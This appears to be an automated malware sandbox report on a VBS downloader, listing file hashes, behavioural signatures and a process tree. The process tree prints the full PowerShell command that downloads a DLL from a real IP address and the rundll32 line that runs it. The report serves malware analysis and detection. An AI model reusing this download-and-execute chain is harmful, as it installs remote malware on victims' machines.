Resubmissions

09-10-2023 22:51

231009-2svgqaba35 8

15-09-2023 13:25

230915-qn1bmaca6s 10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-10-2023 22:51

General

  • Target

    IN(11)-9-12-2023_258806.vbs

  • Size

    1KB

  • MD5

    7b62afd1f1ec24823da003793e6e58be

  • SHA1

    5220e8670f31beeb7233c88aa99fb5b623d067f0

  • SHA256

    e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3

  • SHA512

    f3bc89c42a03c37ec8a5235b806226ddfa6444b04e6844fbce1d8281b75a6c65bb81dc14b39e7af16868a832814254883fb2dde983596c5da48deef9eff00d08

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4392
    • C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
      2⤵
        PID:3276

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fhsuaidz.w3j.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4392-5-0x000001D98C200000-0x000001D98C222000-memory.dmp

      Filesize

      136KB

    • memory/4392-10-0x00007FFDC77D0000-0x00007FFDC8291000-memory.dmp

      Filesize

      10.8MB

    • memory/4392-11-0x000001D9A47D0000-0x000001D9A47E0000-memory.dmp

      Filesize

      64KB

    • memory/4392-12-0x000001D9A47D0000-0x000001D9A47E0000-memory.dmp

      Filesize

      64KB

    • memory/4392-13-0x000001D9A47D0000-0x000001D9A47E0000-memory.dmp

      Filesize

      64KB

    • memory/4392-14-0x00007FFDC77D0000-0x00007FFDC8291000-memory.dmp

      Filesize

      10.8MB

    • memory/4392-15-0x000001D9A47D0000-0x000001D9A47E0000-memory.dmp

      Filesize

      64KB

    • memory/4392-16-0x000001D9A47D0000-0x000001D9A47E0000-memory.dmp

      Filesize

      64KB

    • memory/4392-19-0x00007FFDC77D0000-0x00007FFDC8291000-memory.dmp

      Filesize

      10.8MB